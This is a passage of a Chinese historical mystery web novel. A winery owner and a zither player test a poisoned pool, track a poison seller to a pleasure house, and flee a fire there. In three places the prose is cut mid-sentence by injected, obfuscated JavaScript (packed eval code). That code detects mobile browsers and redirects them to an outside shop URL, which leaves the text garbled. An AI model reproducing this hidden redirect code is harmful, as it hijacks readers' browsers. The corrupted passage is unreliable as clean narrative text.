许知非盯着他的眼睛,两个人像两头凶兽对峙着,没有争执,呼吸即是交锋。 许云洲忽然神色一收,支起一条腿来,右侧手肘搁在膝上,指尖微微发抖,他攥紧了拳头。 他是摆出这样的姿势以掩饰自己身体的不适,许知非扫了一眼,心知肚明。 “你想要我做什么?” 他目光描着她的脸,最后落在她的唇上:“我要你开好你的店。” “有什么好处?” “庆历七年……军器监衙署失火、监丞许文谦满门被杀,其中都有辽人的痕迹……许某略有耳闻,寻思着……那一月一开的梁门鬼市……或会有些答案。” “你要我的酒坊为你作掩护,暗中帮你交好的那些官员对付某些人?” 许云洲低笑:“不然你以为,这么一家小店,在这汴京城有什么存在的必要吗?钱员外一个生意人,为什么会遭人毒死呢?杀个人来嫁祸你?许某觉得……对付坊主你,还不至于。” 他顿了顿,一点不着急的样子,回过头来,一脸挑衅,像在等着许知非生气或着急,眼里满是兴致,仿若这样的事情对他来说很有意思。 “除非他发现了些不该发现的东西。” “不该发现的?” 许云洲眉梢微扬:“他的字画,大多数人都求不来,那他是哪里弄来的呢?如果是梁门……那他的死,就说得通了。” “找到他发现的秘密,就能找到真凶?” “许坊主一定知道怎么做才稳妥。”他右手拳头攥得更紧了些,脸上却仍是一副风流浅笑。 许知非站起来,知道这人定是已经走不动路了。 “知道了,这里今晚就让给你,我去你屋里,只要你不怕我偷你东西。” 许云洲明显松了口气,放开姿态,拉起被子躺下去:“许某两袖清风,没有什么值得坊主偷的,值钱的那些……许坊主一时半会也还偷不到。” 他就那样躺下,闭了眼像是真要睡。 许知非转身离开,一开门,林修就在门外,像个人形机器人,对她眨了一下眼,没有表情。 她往西厢走,他跟在她身后,tmd还有跟随模式的吗? 她走快一点,他也走快一点,她慢下来,他也慢下来,她猛地一转身,他险些撞上她,刹了一步,后退得很稳,看得出是练过的。 “你要是没事就下楼去帮忙吧,人还多呢,赵伯和青禾忙不过来。” “坊主可以多请几个伙计。” “你给钱?” “公子给。” 他说话板是板,眼是眼,语气更是一种芯片代码味,幸好这个年代没有机器人,不然她真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080043|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要试试把他电路板扯出来看看。 许知非一口气憋住,深知活人跟机器人是说不通道理的,她点了头:“好,明天我去贴告示,麻烦你先去帮忙吧,不要跟着我了。” “是。” 他答得生硬,看起来很听话但又像有些反骨,伸手撑了一下护栏像是想直接跳下去,但马上又发觉不合适,退回来,大步走向角落里那条木楼梯。 客堂里最大声的几个汉子渐渐收了声音,一个个偷偷瞟向楼梯口,林修走进人群里,只有为数不多的几个跟他搭话。 许知非站在柱子后面看着,感叹道:“看来比关二哥镇宅。” 许云洲的琴还放在桌上,还是四天前的样子,她在桌边坐下,确定不会,指尖轻轻一拨,琴声像涟漪荡开。 这感觉有些熟悉……她又拨了一下……两下、三下……弦距均等,张力得当,音高……有些…… 她开始动手调弦,动作自然,自己都有些惊讶:“我什么时候会这些的?” 她扭动琴轸,一丝一寸,角度精确,每转一点,拨一下弦,最后听到了“正确”的鸣点。 调好之后,她又一根根弦拨下去,琴音似流水淌开。 奇的是她脑海里出现了琴谱的记忆,还有一双手。 吟猱措注,抹挑勾剔,一曲《幽兰》自她指尖流出,音色冷冽而清晰。 曲终,收音干脆,像利刃归鞘,戛然而止,带着些……气愤? 门外喧闹声不知何时静了下去,她仍是愕然,原身的记忆里,有人教她弹琴,手把手的教,她过目不忘,一样样都记得,只是……假装怎么学也学不会? 她心口泛起一阵酸,抬手攥紧了胸前衣料,桌上瑶琴静静躺着,像个妙龄女子,默默期盼着什么好事发生。 只是那种期盼,后来成了愤恨,最后…… 悬崖上的人影再此出现在她眼前,她在坠落,可却……很高兴? 她猛地回神,窗户不知怎么就开了,夜风带着些许凉意,吹起她鬓边没梳好的几缕头发,她有些汗毛倒竖。 “想多了,不可能……” 什么鬼神之说在她这里都不成立,一定是什么别的原因。 她把窗户关上,吹了灯,关门时,窗外有个影子一闪而过,她回头,什么也没看见。 …… 枢密院廨署,直房熏香浓重,周铎豹眼须髯,额上一道刀疤,越舒展就越狰狞。 司马光手执笏板,眉心深锁却目光如炬:“周枢相,虹桥此次死伤甚多,民心惶惶,开封府奏报称,是修缮不力所致,可却有传言,说坍塌断裂处,榫卯之间有锯痕,恐怕不是天灾,然今日朝会,枢密院竟无半句奏对,是何缘故?” 周铎眼中带笑,声音沙哑:“君实兄,何必心急呢?桥塌了,自有开封府、三司修缮勘验,老夫掌天下兵甲,难道还要管汴河上一座木桥?” 铜壶滴漏落下几点声响,边报从堆积如山的舆图和兵籍册上滑落下来,周铎不慌不忙,在军报上写下一句批阅,轻轻放下了笔。 司马光往前一步,急得脸发红:“就算桥不用管,那兵呢?昨日事发,承旨司张安率一队东郊厢军恰在东水门协防,今日卯时,此队人马已奉枢密院札子奔赴陈州剿匪,敢问枢相,虹桥惨案未查,目击军队反被远调,此为何故?” 周铎神色平静,手指却用力按着自己玉带:“陈州匪患迫在眉睫,难道要那队厢军对着断桥哭丧三日再动身?兵贵神速,此乃常理。” “常理?”司马光冷笑,“《宋刑统·擅兴律》明载:凡京畿禁军、厢军调度,须经中书、枢密共议,勘合符节。陈州匪患已有月余,早不调,晚不调,偏在虹桥塌后急调,张安所部,究竟看见了什么?!”他说到最后声音拔高,一双怒目瞪着周铎。 周铎起身与他平视:“君实,你为御史中丞,纠察百官是你的职份,但有些线,越了便万劫不复,你可知,事发后,太后曾召老夫入宫?” 10. 来路 司马光脸色铁青,持笏的手一下攥紧:“难道,这虹桥一事,牵连宫闱?” 周铎双手撑在桌案上,身子前倾,逼近他:“太后老人家说了八个字:‘国本为重,余皆枝叶’。”他从旁抽出一份札子推给他,“这是太后宫中内侍省今日送来的手谕,你自己看。” 司马光拾起来看,“庆云堂”这个私印是曹太后居庆寿宫时的用印,满潮皆知。 “君实啊,你与王介甫在朝堂上争律法、礼法,那是文官的事。但若涉及禁军、太后……便是另一回事。”他压低声音,似在循循劝诫,“张安那队人,去了陈州,是为国剿匪,若不幸殉国,亦是忠烈。” 司马光猛地瞪眼,目光灼灼:“周枢相!纵是太后之意,亦不可凌驾国法!厢军调动必有文书存底,张安若真见过什么,岂能……” “文书?今早枢密院北面房走水,崇文院旧档恰好焚了三箱,其中便有东郊厢军那日值勤的原始簿册,”周铎摊了摊手,笑意森冷,“天意如此。” “好一招枝叶尽剪,”司马光点头喃喃,忽然直直盯着他,“周枢相,你今日之言,司马光记下了,纵是太后旨意,若真涉及人命倾轧、朝纲崩坏,光必以血书叩阙!” 周铎拱手,指了指他手里的笏板:“请便,但君实莫忘了,你如今站在这里与老夫辩论,是因太后念你忠心体国,若要撕破脸皮……你这御史中丞的笏,怕是要换成岭南的竹杖了。” …… 许知非把自己藏在最黑的地方,静静听着所能听见的声响。 屋顶有瓦片摩擦的声音,时不时动一下,门外,有人走过去,很轻……楼下还没消停,有几个声音特别突出,像是故意的,在控制场面,只要他们出声,喧闹声就会缓下去一些。 脚店来沽酒的伙计要走了四角石冻春,声音很大,像是带足了钱来的,青禾倒是得体,许知非几乎听不见他在说什么。 后院有水声响动,紧接着,有人踢到了一个坛子,扶住了,没砸碎。 她往窗户边上挪过去,发现有人在水池边逗留,不是赵伯,不是林修,那人影驮着背,从后门溜了出去。 她拉开门,跑出去,那一汪静水是每日从井里一桶一桶提上来的,如今映着灯火月色,波光细碎。 她当时看过那些酒瓮,都没有什么异常,又去酒窖里看了一遍,没有脚印,酒坛也没有被乱动过,她推测着,莫不是许云洲的人? 只是第二天,那个池子里的水出了问题。 她起来时青禾他们刚睡下,她听见了他们收拾好后回房关门的声音,推开窗,许云洲和林修站在池子边上,看着池水,像在说着什么。 她换了身男装,用粗布巾裹了头,免得那种人又有什么幺蛾子摘她头发。 晨光清寒,客堂桌椅齐整干净,她扫了一眼,没什么不放心的,悄悄掀开了小门布帘, 那两个人抱臂站在一起,一个墨蓝一个缃色,远看像黑白无常似的,就是颜色都不太正,背对着她,好像并没发觉她靠近。 “这水是有些古怪。” “属下这就去告知坊主。” 林修像很着急,一转身,看见了许知非,一下定住。 许云洲不紧不慢,看起来并没对身边发生的事情感到意外,他盯着那池子水,慢慢才回过头来,目光落在许知非脸上,又移到她头上。 “许坊主起得早,想来夜里不曾忙活。” 许知非知道他阴阳怪气,说自己偷懒,把活都丢给了青禾和赵伯他老人家,可她便是累死了才到了这里,如今并不想再累死一回,要死,也要死的漂亮些。 “我会多请几个伙计……” “你当然要多请几个伙计。”他没等她说完,又指了一下那池子里的水,“这水,要是没人发现,能让坊主再进一次开封府,但这一次,要出来怕是很难。” “水?”许知非上前去看。 林修身后,那池子里的水清澈见底,并没有杂质或异常。 许云洲盯着她的侧脸,轻笑,撩起袖摆,指尖伸进水里轻轻一搅,水面上有些极细极浅的色彩流动起来。 许知非俯身细看:“是油污?” 她目光凝在水面上,看起来像凝视着尸身或什么证物。 她忽然走进厨房里,取来三只白瓷碗,并排放在院子里一张因风吹日晒而有些发白的木桌上。 有从库房里拿出一个竹质的长柄勺子,从池心、池边各勺起一碗水来,又从井里打了桶水,直接用碗勺了一碗。 三只碗并排放在桌上,池心水样明显有些乳白浑浊,并不是常见脏污后的黄褐色,有细微均匀分布的悬浮物,静置片刻也不见有所沉淀,池边水样稍微好一些,但也有轻微异常,而井水看起来是正常的。 她凑到碗沿闻了闻,池心水样有一丝极淡的金属气息,若有似无,不仔细闻根本无法发觉,池边水样更淡一点,井水……没有异常。 池水样本的水面上,细看可见浮着一层彩色,极细极淡,不留意根本看不出来,稍稍一动,就涣散开,更加难以分辨,静置后又迅速聚拢。 “不是正常污染……昨晚院子里进来个人,静悄悄又走了,我以为是你的人。” 许云洲站在她身后,轻笑:“他们听了定要气恼,坊主竟将他们与这般偷鸡摸狗的贼人相提并论。” “看来许先生也知道什么叫偷鸡摸狗。”许知非直起身来,冷淡道,“这池子里的水不能用了,在查清水里有什么之前,也不能往里面灌新的水,不知先生有何高见?” “厨房里的羊肝……某些活物、谷粒,或可一试。” “许先生也懂这些?” 这是生物测试,如果他只是琴师或谋士,那未免懂得有点太多。 林修自动自觉,走进厨房里,地窖冰室存着两日内要用的食材,羊肝、活的小鱼,都有,看来他们是仔细看过店里每一个地方。 许知非站着等,林修果然很快就取了羊肝和小鱼回来,又跑进库房里,抓来一把谷粒。 许云洲把一小块羊肝扔进那碗池心取的水样里,眼看着它颜色开始变暗,肉眼可见的软化,渗出液……浑浊不堪,这绝不是正常的水。 许知非取来另外一只碗,又在池心取了水,把小鱼放进去,三碗水里,池水样本里的小鱼剧烈扭动逃窜,动作慢慢开始僵硬,迟缓,先后翻了肚,体表似乎渗出些许粘液,唯独井水碗里的小鱼正常游着。 许云洲捻起谷粒放进池水样本里,谷粒没有出现明显变化。 那说明不是强腐蚀性的毒,但看鱼的表现……神经毒性或重金属盐类……可能混合了某些有机毒素,可以干扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083932|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代谢。 生物测试证明了池水有毒,且作用非常快,对神经肌肉和细胞活性有抑制和破坏的作用。 她转向林修:“你的针呢?” 林修即刻取出一个布卷,展开之后,里面是一排极细的银针。 许知非取了一支,探进池水样本里,片刻后拿起,针身没有明显变黑。 “不是砒霜……或者经过特殊处理,掩盖了跟银的反应。” 许云洲不知什么时候从后厨端来一碗热水,又从袖口取出一把花干放进去,搅了一下,看着水变成紫色。 他还懂这个?许知非观察着,没动。 许云洲异常专注,拿起竹勺舀了半勺池水,小心翼翼,轻轻倒进去,碗里的水很快变成蓝绿色。 “加了东西掩盖毒质。”他笃定道。 他怎么知道?许知非打量着他。 许云洲似乎发觉了她的审视,转向她,眉眼之间柔情流淌:“坊主以为如何?” 许知非目光锐利,盯着他:“还缺一样东西。” 许云洲唇角扬起,从怀里取出一个瓶子:“皂角?” 许知非眉头一拧:“你怎么知道的?” 许云洲看了看手里的瓷瓶,一脸惊喜:“我游方所得,无事可做便杂学了些,想不到真能用上。”他说着看向她,“嗤”地一笑。 话不知真假,但怎么看着像有点精神病? 许知非警惕着,伸手把那碗井水端起来,倒在地上,勺了一碗池心的水,端在他面前:“倒进去。” 许云洲敛了神情,再次专注起来,把瓷瓶里的皂角液慢慢倒进去,但看动作并不熟练。 碗中水面立即浮起一层细微絮状物,有细微彩光,是油脂或类脂物质,又或者某些有机毒物跟皂角发生了反应。 “明矾。”林修忽然递给她另一个瓷瓶,像个懂事的机器人。 她一怔,左右看了看这两个人,怎么像是都知道她要干嘛,而她却什么都不知道的样子。 她接过林修手里的瓷瓶:“谢谢,我还要个碗。” 林修转身就去了厨房,拿出两个白瓷碗来:“全都拿来了。” 许知非拿起一个,勺了池水,把瓶子里的明矾溶液倒进去,静置在桌上。 不久,碗底出现了比寻常水体更多更明显的胶冻状沉淀,且颜色略微有些灰白。 有机毒素或其他胶态悬浮毒物…… 她又取了一个碗,勺了一碗池心水走进柴房里,点了蜡烛,把水倒在一个陶碟上,放在火上烤。 许云洲和林修站在门边,静静看着,碟子里的水渐渐干透,出现了一点淡黄色的黏稠物,金属气味很重,许知非一下皱紧了眉头。 池水里的毒也是复合毒素,包括了某些生物碱或神经毒素,一种或多种重金属盐,少量增加某些成分溶解度或稳定性的碱性物质。 “也是混合毒物,毒性不强,会导致身体不适,且是慢毒,不易察觉,一时半会死不了人,但若用来酿酒,是一定不成。”她冷静道。 许云洲走近细看那个陶碟里的东西:“看来,已经找到元凶了。” 她抬头看他,眼神警惕:“谁?” 那张脸看起来温柔如水,却有些说不出的寒意,目光一转,看向许知非:“你抢了谁家生意,那便是谁。” 11. 所愿 生意?御街一带,酒坊食肆很多,但若说有明显的过节……许知非一番细思…… “风月楼?” 许云洲轻笑,又看了看她用布巾包起来的头发:“兴许是,而这毒,跟钱员外的案子,有点儿像,不是吗?” “他们想让我酿不成酒,做不成生意,是人之常情,我能理解,但下毒害人这种龌龊手段,绝不能容忍,否则,形同放任野兽行于街市,纵容它伤人害命。” “坊主有何高见?”许云洲看着她的眼睛,饶有兴致,像是故意让她说。 许知非站起来,面向他:“许先生有心找到真凶,不论有无私心,想来也算为民除害,那不如去邀许家小娘子走一趟?不然他们以为钻在阴沟里就没人能抓着,以为自己有天大的本事,咱们这就一把火烧进去,让他们知道,自己连逃的方向,都是烂的,臭的。” 许云洲没退,两人近到能感觉到彼此的体温和呼吸,他会心一笑:“那我这就去备份礼,请了小娘子出门来,毕竟行天道,收贼赃,不宜过夜。” 柴房里,桌上摆满了许知非简易凑活的实验器具,古人管这叫炼丹术,能察金石药理,沟通五行阴阳。 许云洲对林修使了个眼色,自己离开,林修没什么反应,看他走了,又盯着那些碟子、罐子看,像是本就不觉得自己有需要跟出去。 许知非走到他面前,挡了他的视线:“林公子,你昨日让我找伙计,我觉得有道理,不如,这事就劳你帮忙?” 林修目光落在她脸上,点头:“是,此事不难。” “谢啦。”她满意道。 她那时还不知道,许云洲早已叫他准备了人要混进酒坊来做伙计,一家新起的正店酒坊,招聘告示一出,应聘的人立刻排到了街尾,比来沽酒的队伍都要长。 但其中不乏心思不正,想要混进酒坊来蹭酒喝的酒鬼和浪荡子,许知非自知来这里还不够久,选人的事情,当然是汴京长居之人擅长些。 林修略一过目,问来处,家底,经历,看他人如何言说分辨,便知此人是真来寻份活计,还是想到酒坊来混日子喝酒的。 许知非当时站在一边,只听只看,并没发觉那是审问犯人的本事。 那几个安排好的人所答最好,来路清晰,说到看店跑堂的活皆是条理独到,又是汴京本地人,出身清白,自带身份凭证。 可如今想来,真是太过周全了些,反倒令她疏忽大意,以为找了好工人。 许云洲暮时回来,手里捧了一个包袱,敲了她的房门:“坊主过目,就是不知能不能入许家娘子的眼。” 楼下,林修像镇宅一样站着,偶尔走动,往最控制不住自己的酒客身边站,几个新来的伙计手脚麻利,看起来跟他们自己说的一样,都不是生手,是王楼打过杂的,刘家买过饼的……诸如此类。 赵伯一把年纪算是得了闲,只是跟来客打招呼,吩咐伙计们办事,取酒,指路。 堂里喧闹不断,有个伙计甚至到后厨开始炒菜,赵伯看过之后便默许了他。 许知非双手捧着包袱,靠在栏杆上扫了一眼,耳边尽是客堂里传来的声音。 “里面是什么?” “酬劳的一部分。” 许知非这才回过头来,一面往房间里走,一面只手打开,看见里面玉白的织锦,停步回头:“太少。” 她抬眼看他,脸上没有丝毫情绪,只是一种判断和决策,从种种迹象看来,她推断这人定还能给更多。 许云洲果然从怀里取出一个小布包,打开后,是一对钗环,蝴蝶样式,翅膀做得极好,金丝缠作翅膀,嵌的宝石点缀,微微颤着光。 许知非一把取走,连同那个包袱一起捧着:“你在外面等。” 她关上房门,脱掉了男装,襦裙尺寸刚好,绣样精细,怎么看都是提前做好的,难不成临时能找到? 她一边梳头发,一边想,他像在引她往什么地方去,一路上都是材料包,准备齐全,直接掉在她手上。 她梳了个简单的发髻,带上钗镮,这倒是第一次。 许云洲回房取了琴,一身月白襕衫等在门口,那副风流琴师的模样,看起来又是个e人,早已在汴京混了个脸熟,背对房门似跟楼下不知谁打了个招呼。 他转过身来,眼睛亮了一下,应该算是惊艳? 她提了一下裙摆,跨出去:“我以药材商人的身份前去,借口是寻找稀罕毒物救家中兄长,看能不能引来水底的泥鳅。” “泥鳅太滑,我在与你相邻的雅间守着。” 许云洲低声说着,走在她身后,看着她的背影,并没有对她的安排有丝毫异议。 许知非转弯时留意了一下,余光可见他盯着她看,她默默警觉。 两人从后门出去,沿着河岸往西走。 风月楼是御街西侧一个老牌正店酒楼,邻进延庆观,撷芳阁是里头一个听曲小院,不大的莲池边上楼阁香暖,有歌姬在莲池边卖唱。 许知非走在前面,门口的伙计却像只看见了许云洲,点头哈腰绕过了她:“许公子,什么风把您吹来了?是不是春风酒幡的酒不好喝啊?” “想风月时便来贵地听首曲子,与酒无关,”他说着瞟向已走远的许知非,侧开一步,“你们东家若不嫌弃,许某今夜亦可在此处助兴一曲。” “哪里话哪里话,许公子愿来便是小店的福气,哪敢劳您还给咱们助兴,东家就算答应,也怕那垂拱殿不大答应,小的这就给您安排雅间听曲。” 许云洲拱手:“有劳了。” 许知非一个女子,面生,没人跟她招呼,像是觉得她只是来看看,坐不坐下也无甚要紧。 她抿着唇,指尖轻描裙摆上繁复的纹样,耳边听见后面园子里,撷芳阁笙歌软语飘渺而来,她循着声音来处走过去。 月落莲池,像带了花的美人静静拨弄池水,阁内熏香浓得离谱,许知非掩了掩口鼻,回头发现许云洲不知去向。 她走上二楼雅座,看见纱帘另一边有个老妇人,她对面站了一个女孩,像是丫鬟打扮,但不算贫简,低着头。 老妇人把一个瓷瓶给了那个女孩:“拿着,改良过的千机引,连服三日方显毒性。” 那女孩把一个钱袋给了她,接下瓷瓶便走了。 许知非悄悄靠近,隔着帘子开口道:“不知婆婆有没有能救人的毒物?” 老妇人一边走一边装钱,脚步忽然收住,转向她:“救谁?什么人?” “小女兄长缠绵病榻已有月余,需些特殊药物,听闻此处有解,故而前来求助。” “你是什么人?” 老妇人撩起两人之间的帘子,满是褶皱的一双眼睛打量着她。 许知非不慌不忙,大概施了个礼,电视里看来的,她也不知道对不对,但聊胜于无…… 她扮了一副柔弱之态,说道:“小女家里是卖药材的,可兄长突患恶疾,却无药救治,故而才寻到了这里。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087632|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那老妇人冷笑道:“你说你寻到了这里,那我问你,我是谁?” 许知非当然答不上来,但反应丝滑且彻底,低头就跪下:“小女不才,还请婆婆相救,日后定竭尽全力报答婆婆恩情。” 她跪得突然,那老妇人像是料想不到,退了半步:“你快起来,这让人看了还以为老婆子我众目睽睽之下欺负一个小姑娘。” “婆婆……”许知非抬眼,一副楚楚可怜的模样。 “谁是你婆婆,你家郎君答应没?赶紧起来!” “小女并无婚配,但只要能救哥哥,小女甘愿……” 她没说完,一只手把她从地上拔了起来,力道干脆且熟悉,她回头一看,果然…… 许云洲冷脸盯着那个老妇人:“不知这姑娘犯了何事?许某未曾听闻这撷芳阁是能用私刑的地方?” 老妇人眼中一亮,甚至有些高兴,如今想来,她许是是认得这能出入宫宴的琴师,特别客气:“许公子也来了……呃……是这女子自己跪下的,可与老身无关啊。” 许知非站起来,微微倾身,攥紧了许云洲一侧衣袖:“这位公子,家中兄长身患恶疾,我是为求药而来,婆婆方才确有神药,可嫌我不曾问来她的名讳,觉得我不够诚意,我……我唯有跪下,请公子帮我说说好话吧。” 许云洲看了一眼她抓着自己的手,蹙眉道:“她是什么人?有什么药?” 那老妇人躬身自荐,接了话:“老身姓薛,确有些妙药,但并不知道能不能救这姑娘的兄长,更不知这姑娘要求什么药。” “既有便试试,许某或可替她付账,你莫为难她。”他说得得体平和,一副翩翩公子的气度。 老妇人驼着背,点头,看向许知非,声音拉高:“那好,你说,你想要什么?” 许知非想了想:“一味剧毒,紫金莲。” “紫金莲?老身从未听过啊。”老妇人大惑不解。 她当然没听过,本来就是瞎编的…… 许知非眼珠一转,又夹了一鼻子哭腔,拉紧了许云洲的衣袖,像是百感交集。 “听闻是一种混合而成的毒剂,药力比寻常良药强,可催转体内血脉,又不至于太急,危及性命,我哥哥的病,正要这个。” 老妇人眼神微有躲闪,后又端起了一副长辈的架子,明显扬高了脸,高高在上的样子:“你说的这个,老身确实没有,但可给你寻来,如何?” 许云洲做出满脸苦思之态:“这等毒物奇得很,不知何处可寻?” “哪来的可不兴说,说出去了那老身这生意还怎么做?过两日,叫这姑娘再带着钱来这里取就是了。”她对许云洲福了一礼,“公子是贵人,老身就给公子一个面子,这些秘药,是家传的方子,不曾卖过生人的。” 她看了看许知非,并没有等许云洲回答,自己从旁离开。 许知非回头转身,看着她略显佝偻的背影,紫色衣裙满绣蝴蝶牡丹,步态造作,端得刻意,一副暴发户的样子。 她抬头看向许云洲,杏眼之中映着楼阁灯火,却似凝成了一汪寒潭:“你不会再等两日,对吧。” 许云洲眸中含笑,眼神深处却似另有暗流:“在你。” “我?” “求药的是你,不是我,也不是春风酒幡的坊主。” 许知非垂下眼帘,睫毛微微动了动,低声道:“跟着她。” 许云洲望向那老妇走远的身影:“如你所愿。” 12. 川流 许云洲足尖一点,落在池边戏台前,那歌姬手抱琵琶,本嘤嘤唱着,登时住了嘴。 “今日兴致好,不知诸位是否赏脸听许某一曲。”他把琴放在膝上,拨了三个音,整个园子静下去。 许知非站在二楼雅间,纱帘在她面前轻晃,暖香萦绕,晚风清寒,莲池边的琴声如泉流淌开,她走近了些,隔着帘子看下去。 许云洲衣袍铺开,端坐于石台上,指尖琴音平稳却低哑,力度果断,那歌姬抱着琵琶坐在石台之下,仰头看着他。 许知非发觉撷芳阁的人都沉浸在琴声里,唯有几个人先后离开了座位,或急或慢,或醒或醉,皆朝那老妇离开的方向走去,她没有撩开眼前垂挂的薄纱,但看许云洲一剪轮廓,听着琴声。 他腕肘悬稳如弓架,能听出手臂力道收放果断,那样的控制力,不像寻常文人抚琴时温柔提送的手法。 琴音时而短促铿锵,时而黏稠低回,他目光落于指上,许知非的位置看不清他脸上是何表情,但听琴调,似有寒铁擦过甲胄,又有毒蛇匍匐在水中。 弹至激越处,他身后池水竟泛起细碎的涟漪,倒影里的光点一下全碎了。 许知非掀起帘子来看,他似有察觉,抬头望向她,眸中寒潭暗流汹涌。 琴声就此断了一瞬,他望着她,神情慢慢化开平日里的温柔,再低头,曲声又似清泉般,一点一滴,越来越急,最后聚成了一川流水,淌满了整个园子,忽又慢下来,又成了一点一点的滴落声,一滴……又一滴……像无法断绝,衬得不大的园子寂静更甚。 直至琴声尽消,园中楼内皆无人吭声,许知非心跳快了些,那曲子,听着像是刀光剑影,却有流水温情萦绕着,还有无法断绝的……悲泣? 她正欲细想,楼阁东南角传来一声轰响,像是什么小型炸药爆炸,火光瞬间卷上了屋顶。 三楼客房里传来尖叫声,紧接着,是许多人争相逃离的脚步声,她抬头看见头顶梁木接连断裂。 整座木楼震了一下,地板往爆炸的方向倾过去,许知非当即扶住了身旁朱漆柱子。 地面倾塌的声响由远及近,不远处地板对半裂开,她双手抱紧了柱子,脚下地面逐渐成了一个坡,她勉强踩稳,目光在各处量度,想要找个能逃走的方向,楼梯那边已完全断开,而身后,护栏下的地面还离她很远。 她不知道从哪里才能逃出去,也不知道脚下的地板什么时候会裂开,这种木楼的构造,超出了她的认知范围。 耳边不断传来惊叫声,还有人摔下楼去的惨叫声,前面客堂有人大喊走水。 两侧回廊很快烧成了火巷,灯笼、烛台、灯架断落翻倒,纱帐布帘像火蝶一样翻飞坠落,地面上,洒落的酒水跟着烧起来。 许云洲从护栏外面翻进来,将她头上刚刚燃起的纱帐扯了扔开。 “快走。” 他不由分说,抓住她的手,搭在自己肩上,把她打横抱了起来,踏在栏杆上,轻轻一跃,两个人从二楼直接跳下去。 许知非一下攥紧了他的前襟,身子蜷了起来,他落地时失了平衡,往前扑下去,却硬是转身垫在她身下,额角磕在石台上。 许知非听见一声响,抬头看见他捂着头龇牙咧嘴。 “你没事吧?” 他一只手撑着起身,摇头,爬到石台上把琴收起来:“没事,快走。” 他站起来,右手明显在抖,那衣袖里藏了伤,这样抱着她摔一下,痛得发抖,定是很深的伤口。 他扣紧了她的手腕,拉着她,正想往前走,半塌的楼阁里传来一串梁柱断裂的闷响,沉重而连续,整座楼像是忽然散了架,烈火和烟尘翻涌而来。 坍塌的轰响盖过了此起彼伏的惊叫声,泥沙和火星几乎溅到脸上,许知非用衣袖挡了一下,回头寻找其他退路,发现角落里有个门。 她一下挣脱了他,反手拽住了他的袖子:“那边!”她抬手指向角落里的一个窄门。 她拉他跑过去,门没锁,她一下翻开了门闩,对开的木门发出一阵吱呀声,听得出有些破败。 外面是一条漆黑的巷子,往北能看见延庆观。 风月楼火光冲天,火舌舔舐着星空,月色烧得绯红,今日天气本来是不错的……许知非回头看了看,朝延庆观跑去。 许云洲眉心深锁,额角的血已淌了他半边脸,但他好像不担心自己,回望的一瞬像是在担心风月楼里别的东西。 两人停在延庆观门口,他眼一眨,发觉她在看他。 “你……”他转过脸来,那半脸的血更加狰狞了些。 许知非抓起衣袖去擦:“闭嘴。” 他看着她的眼睛,火光在她睫毛上跳动,她抓起他的手,按在他磕破的额角上,指尖是热的…… “按着。”她说。 他伤势不重,只是磕破了皮,伤口有点深,她又看向烧红的天,隐约听见那边模糊不清的叫喊声。 许云洲像是回了回神,微微吸气,像嗅着风:“可有闻到石脂水和硝石的味道?” 许知非认真闻了闻:“有,是助燃物……”她抬头看他,“你知道多少?” 许云洲眼神骤凝:“丝毫不知,但那扇门是开的,若是冲我们来的,那门必会事先锁上。” 许知非点头:“按规矩,前面已有人救火?” “有,但救不完。” “……那明日,你的人……能进去查验吗?” “他们若不是冲咱们来的,那就是冲那个薛老太来的,死伤情况,我有门路。” “好,那现在,我需要春风酒幡许坊主的不在场证明,而你……需要止血。” 她神情淡漠,条理清晰,扫过一眼灯火昏暗的延庆观,兀自往东走,御街的喧闹声渐渐清晰。 两人走进闹市,身旁烟火灯息似自身旁流过,皆与他们无关……两人逆流而行,走得很慢,却警觉。 西南方向,巡检司和厢军官兵匆匆跑过,皮靴踏起一阵隆隆声。 带队的武官催促着:“快点儿!到了之后立即取水灭火!” 两人小心前行,一前一后,相隔两步的距离,许知非回头看了一眼:“他们是去救火的。” 许云洲冷笑:“我怕他们是去添柴。” “什么意思?”许知非目视前方,脚步不停。 “这火该不该灭,该怎么灭,从谁那里批文,谁来勘查现场,责任归谁,什么情况该报给谁,如何与坊间百姓解释,每一环,都各有门路,而门路和事实往往并不相干……虹桥一事,同样的道理。” 许知非点头:“可我看见了,你有人在里面。” “他们是去跟踪那个薛老太的,但如果,这是灭口的火……” 两人一路往东,不再说话,春风酒幡灯火未落,堂里还有不少酒客z 许知非记得那张坊巷图的逃生路线,带他走进北面一条暗巷,两人转了个弯,出来便看见了河道,许云洲一直捂着额角伤口。 他跟她进了东厢,关上门,许知非到柜子里取药和干净的棉布:“坐下,别动。”她把药瓶放在桌上,扒开他按着额头的手,用棉布粗糙擦了一下他脸上半干的血迹,“明天,那薛老太若是死了,当如何?” 